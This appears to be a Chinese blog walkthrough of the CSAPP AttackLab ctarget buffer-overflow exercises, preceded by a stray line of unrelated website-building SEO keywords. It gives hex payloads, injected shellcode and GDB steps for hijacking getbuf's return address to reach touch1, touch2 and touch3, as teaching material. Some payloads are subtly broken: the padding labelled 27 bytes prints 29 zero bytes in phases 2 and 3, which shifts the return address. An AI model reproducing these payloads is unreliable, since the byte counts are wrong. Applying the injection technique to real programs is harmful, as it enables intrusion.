蛋糕网站模板,长春做网站新格公司,厦门高端网站建设公司,郑州百度推广代理公司CSAPP AttackLab 深度实战#xff1a;亲手构建缓冲区溢出攻击链 记得第一次翻开《深入理解计算机系统》这本书时#xff0c;我被它宏大的体系所震撼#xff0c;但真正让我感到“学以致用”的#xff0c;却是那个名为AttackLab的实验。它不像其他实验那样按部就班#xff0…CSAPP AttackLab 深度实战亲手构建缓冲区溢出攻击链记得第一次翻开《深入理解计算机系统》这本书时我被它宏大的体系所震撼但真正让我感到“学以致用”的却是那个名为AttackLab的实验。它不像其他实验那样按部就班而是直接把你扔到一个模拟的“战场”上让你扮演攻击者的角色去利用程序中的漏洞。这种从防御视角切换到攻击视角的体验对于理解计算机安全的核心——内存安全——有着无与伦比的价值。如果你正在啃这块硬骨头或者单纯对“黑客”如何利用一行行代码攻破系统感到好奇那么这篇文章就是为你准备的。我们将抛开枯燥的理论直接上手一步步拆解ctarget的前三关不仅告诉你“怎么做”更会深入探讨“为什么能这么做”并用GDB带你亲眼目睹栈帧是如何被一步步“扭曲”的。1. 攻击前的战场侦察理解栈帧与缓冲区溢出在发动任何攻击之前你必须像一名侦察兵一样彻底了解战场环境。对于AttackLab这个“战场”就是程序运行时的内存布局尤其是栈。栈是程序用于管理函数调用和局部变量的关键内存区域。每次调用一个函数系统就会在栈上分配一块新的内存区域称为栈帧。这块内存里存放着函数的返回地址调用结束后该回到哪里、保存的寄存器值、以及函数的局部变量等。一个典型的函数调用栈帧结构从高地址向低地址增长大致如下内存区域内容说明调用者栈帧调用者的局部变量等返回地址这是攻击的关键目标函数执行完毕后CPU根据这个地址跳转回去被保存的寄存器如%rbp(帧指针)局部变量区函数内部定义的变量例如字符数组char buf[N]...可能还有对齐空间等缓冲区溢出漏洞的根源就在于像gets()、strcpy()这类不检查边界的安全缺陷函数。当它们向一个固定大小的缓冲区比如char buf[40]写入数据时如果输入的数据长度超过了缓冲区容量多出来的字节就会“溢出”覆盖掉相邻的内存区域。在AttackLab的ctarget中getbuf()函数就是这样一个存在漏洞的函数。它的反汇编代码揭示了关键信息00000000004017a8 getbuf: 4017a8: 48 83 ec 28 sub $0x28,%rsp ; 在栈上分配 0x28 (40) 字节空间 4017ac: 48 89 e7 mov %rsp,%rdi ; 将栈顶地址作为参数传给 Gets 4017af: e8 8c 02 00 00 callq 401a40 Gets ; 调用危险的 gets 函数 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp ; 回收 40 字节栈空间 4017bd: c3 retq ; 返回从栈上读取返回地址sub $0x28, %rsp这一行为局部变量我们的输入缓冲区开辟了40字节的空间。Gets函数会从标准输入读取数据并存入以%rsp栈顶指针为起始地址的这块内存中。问题在于Gets函数模拟了gets不会检查你输入了多少字符。如果你输入超过40个字节多出的部分就会继续向高地址方向写入而紧邻缓冲区上方的恰恰就是保存的%rbp和最重要的返回地址。提示理解“小端序”是至关重要的。在x86-64架构中数据在内存中是以字节为单位倒序存放的。例如地址0x4017c0在内存中会被存储为c0 17 40 00 00 00 00 0064位地址高位补零。在构造攻击字符串时你必须按小端序来排列字节。至此攻击蓝图已经清晰我们向getbuf输入一个超长的字符串其中前40个字节用于填满缓冲区后续的字节则用于覆盖返回地址将其指向我们想要执行的代码地址。这就是第一关的核心。2. 第一关攻略直捣黄龙劫持控制流第一关Phase 1的目标最简单让getbuf函数执行完毕后不返回到test函数而是跳转到touch1函数。这为我们演示了最经典的控制流劫持。步骤一定位目标地址首先我们需要知道touch1函数在内存中的入口地址。使用objdump工具反汇编整个ctarget程序objdump -d ctarget ctarget.asm在生成的汇编文件中搜索touch1你会找到类似下面的行00000000004017c0 touch1:这意味着touch1的起始地址是0x4017c0。步骤二计算攻击载荷结构现在我们需要构造输入字符串即攻击载荷Payload。根据之前的分析前40个字节填充缓冲区的任意数据通常用0x00到0xff之间的任意值比如0x00。从第41字节开始覆盖原始的返回地址。我们需要写入touch1的地址0x4017c0并以小端序排列。因此Payload的十六进制表示应为00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00注意由于是64位程序地址是8字节所以我们在c0 17 40后面补了5个00。步骤三使用GDB可视化攻击过程理论需要实践验证。让我们用GDB动态观察栈帧是如何被改变的。启动GDB并设置断点gdb ctarget (gdb) break *0x4017a8 # 在getbuf函数开头分配栈空间后下断点 (gdb) run -q程序会在getbuf开始处暂停。此时打印栈指针%rsp的值(gdb) print /x $rsp $1 0x5561dc78这个地址0x5561dc78就是我们输入的字符串将被存放的起始地址也是缓冲区开始的地方。单步执行 (si) 到callq Gets之后程序会等待我们输入。这时我们需要将构造好的Payload输入。为了方便我们可以先将Payload保存到一个文件如phase1.txt然后通过重定向输入。注意ctarget程序需要一个名为hex2raw的工具将人类可读的十六进制格式转换成原始字节字符串。所以我们的phase1.txt文件里就是上面那三行十六进制数。# 在另一个终端或退出gdb后执行 ./hex2raw phase1.txt phase1.raw回到GDB使用run命令并重定向输入(gdb) run -q phase1.raw程序会再次停在断点处。我们继续执行 (c)直到即将从getbuf返回即执行retq指令之前。此时查看栈顶上方即原本存放返回地址的位置的内存(gdb) x /8gx $rsp 0x5561dca0: 0x00000000004017c0 0x0000000000000000看在地址0x5561dca0即$rsp0x28缓冲区末尾处原本的返回地址已经被我们成功覆盖为0x00000000004017c0touch1的地址。当retq指令执行时它会从栈顶弹出这个地址并跳转过去攻击成功执行后你会看到Touch1!: You called touch1()的输出。恭喜你已经完成了第一次缓冲区溢出攻击3. 第二关攻略注入代码操控寄存器第二关Phase 2增加了难度我们需要调用touch2函数并且需要让它的参数val等于一个特定的cookie值实验文件中会给出例如0x59b997fa。在x86-64调用约定中第一个整数参数通过%rdi寄存器传递。因此我们的目标变成了在跳转到touch2之前将cookie值放入%rdi寄存器。这引导我们走向更强大的攻击方式代码注入。我们不仅要覆盖返回地址还要在栈上注入一小段我们自己的机器代码称为shellcode然后让返回地址指向这段代码的起始位置。步骤一编写注入代码我们需要用汇编语言编写一段微型程序完成“设置%rdi- 跳转到touch2”的任务。movq $0x59b997fa, %rdi # 将cookie值存入rdi寄存器 pushq $0x4017ec # 将touch2的地址压栈 (假设地址为0x4017ec) retq # 从栈顶弹出地址并跳转相当于跳转到touch2为什么用pushret而不是直接jmp因为jmp的机器码可能包含相对偏移量计算起来麻烦而push一个绝对地址再ret是实现绝对跳转的常用技巧。步骤二将汇编转换为机器码将上述汇编代码保存为phase2.s然后编译并反汇编以获取机器码gcc -c phase2.s objdump -d phase2.o输出会显示类似内容48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 68 ec 17 40 00 pushq $0x4017ec c3 retq这就是我们的注入代码共13个字节。步骤三构造完整Payload现在我们需要决定把这13个字节的代码放在Payload的什么位置。最直接的位置就是缓冲区的起始处。这样覆盖后的返回地址只要指向缓冲区的起始地址CPU就会开始执行我们的代码。代码部分前13个字节放入我们刚得到的机器码。填充部分用任意数据如0x00填充缓冲区剩余空间直到第40字节。40 - 13 27所以需要27个字节的填充。返回地址部分从第41字节开始写入我们缓冲区起始地址。这个地址我们在第一关用GDB已经获取过0x5561dc78。因此完整的Payload结构如下/* 注入的机器代码 (13字节) */ 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 /* 填充至40字节 (27字节) */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* 覆盖的返回地址指向代码起始处 (8字节) */ 78 dc 61 55 00 00 00 00步骤四GDB调试与栈可执行在GDB中运行此Payload你可能会发现程序在跳转到0x5561dc78后崩溃了提示非法指令。这是因为现代操作系统和编译器默认启用了NXNo-eXecute位保护将栈内存标记为不可执行以防止此类代码注入攻击。注意AttackLab的ctarget程序为了教学目的特意禁用了栈保护机制如栈金丝雀Canary和NX位并且使用了固定的栈地址通过-no-pie编译选项。这在真实世界中几乎不存在但让我们可以专注于理解攻击原理。使用checksec工具可以查看程序的安全属性。确认环境无误后再次执行你将看到Touch2!: You called touch2(0x59b997fa)的成功信息。你不仅劫持了控制流还成功执行了自定义的指令操控了CPU的寄存器状态。4. 第三关攻略保护数据应对栈破坏第三关Phase 3的挑战再次升级。我们需要调用touch3函数并传递一个指向字符串的指针作为参数该字符串的内容必须等于cookie的字符串表示例如cookie值0x59b997fa的字符串是59b997fa。这带来了两个新问题如何表示字符串我们需要将cookie的十六进制值转换成对应的ASCII字符并在末尾加上字符串终止符\0。字符串放在哪里这是本关最精妙的地方。你不能简单地把字符串接在注入代码后面。为什么因为touch3内部会调用hexmatch函数这个函数声明了一个较大的局部数组char cbuf[110]并且会向其中随机位置写入数据。hexmatch的栈帧会覆盖掉getbuf的栈帧因为栈是向下增长的后调用的函数栈帧在更低地址。如果我们把字符串放在getbuf的缓冲区注入代码之后它极有可能被hexmatch的cbuf覆盖导致比较失败。步骤一确定安全的字符串存储位置解决方案是将字符串存储在更“安全”的内存区域即test函数的栈帧中因为test是getbuf的调用者它的栈帧在内存中位置更高地址更大不会被其子函数getbuf或孙函数touch3/hexmatch的栈帧覆盖。如何找到test栈帧中的一个地址再次借助GDB。在test函数调用getbuf之前设置断点查看此时的栈指针%rsp或基址指针%rbp。例如你可能发现test的栈帧中某个安全区域的地址是0x5561dca8。我们就选择这个地址作为字符串的存放地。步骤二构造字符串并编写注入代码首先将cookie值0x59b997fa转换为ASCII字符串。每个十六进制数字对应一个字符5-0x359-0x39b-0x629-0x399-0x397-0x37f-0x66a-0x61字符串结束符\0-0x00所以字符串的字节序列是35 39 62 39 39 37 66 61 00接下来编写注入代码。这段代码需要做两件事将字符串的地址0x5561dca8放入%rdi寄存器作为touch3的参数。跳转到touch3函数假设地址为0x4018fa。movq $0x5561dca8, %rdi # 将字符串地址存入rdi pushq $0x4018fa # 将touch3的地址压栈 retq同样编译反汇编得到机器码假设为48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3共13字节。步骤三构造最终Payload现在我们有三个部分需要按顺序放入我们的输入中注入代码13字节放在缓冲区开头。填充字节27字节填满剩余的缓冲区空间。返回地址8字节指向缓冲区开头的地址0x5561dc78。cookie字符串为了清晰我们将其放在Payload的最后部分。它实际上会被hex2raw工具读取并放置在注入代码所指向的地址0x5561dca8吗不这里有个关键点。我们通过文件输入的数据是一个连续的字节流。当Gets函数读取时它会将所有字节包括最后的字符串依次存入从缓冲区起始地址0x5561dc78开始的内存中。我们的注入代码期望在0x5561dca8找到字符串但我们的输入流里字符串是跟在返回地址后面的。因此0x5561dca8这个地址指向的是我们输入流中字符串部分被存放的位置吗我们需要计算偏移。我们的整个输入被读入到地址0x5561dc78。注入代码占13字节存于0x5561dc78到0x5561dc84。填充占27字节存于0x5561dc85到0x5561dc9f。返回地址占8字节存于0x5561dca0到0x5561dca7。紧接着的下一个字节地址就是0x5561dca8正好是我们计划存放字符串的地址因此Payload的布局完美契合/* 注入代码 */ 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 /* 填充 (27个00) */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* 返回地址指向代码起始 (0x5561dc78) */ 78 dc 61 55 00 00 00 00 /* cookie字符串恰好位于地址0x5561dca8 */ 35 39 62 39 39 37 66 61 00将这个Payload通过hex2raw转换后输入给ctarget你会看到Touch3!: You called touch3(59b997fa)的成功提示。这一关深刻揭示了缓冲区溢出攻击中数据布局的重要性以及攻击者如何精心安排内存中的每一字节来达成复杂目标。通关ctarget的三关你实际上已经实践了从简单的控制流劫持到注入代码执行任意操作再到进行复杂内存布局以绕过防御的完整攻击链条。这不仅仅是完成一个实验更是对计算机系统底层运行机制的一次深刻洞察。当你后续学习栈随机化ASLR、栈保护Stack Canary和不可执行栈NX等现代防御技术时你会立刻明白它们正是为了对抗你今天所演练的这些攻击技术。最好的防御始于理解最犀利的攻击。